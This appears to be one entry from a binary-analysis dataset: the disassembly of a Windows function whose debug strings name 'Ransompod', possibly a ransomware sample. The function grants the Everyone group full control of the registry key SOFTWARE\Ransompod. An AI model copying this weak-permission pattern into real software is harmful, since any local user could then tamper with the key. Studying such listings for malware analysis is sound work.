Function at 0x4115e0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x63c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push str.Ransompod:_Set_Ransompod_Key_Permission___Start
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov word [ebp - 8], 0x100
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4117f5
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4117f5
mov dword [ebp - 0x1c], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x18]
movlpd qword [ebp - 0x2c], xmm0
push eax
push 0
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0xf003f
push eax
push 1
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 5
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclW]
test eax, eax
je 0x4116b0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
push esi
push 0x14
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
jne 0x4116dc
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
lea eax, [esi + 3]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
jne 0x41170d
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 4
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 0x18]
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
jne 0x411743
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 5
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x14]
push eax
push 0x40100
push 0
push str.SOFTWARERansompod
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x411786
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 6
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
push esi
push 4
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push dword [ebp - 0x10]
test eax, eax
je 0x4117c3
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 7
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Ransompod:_Set_Ransompod_Key_Permission___Exit
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret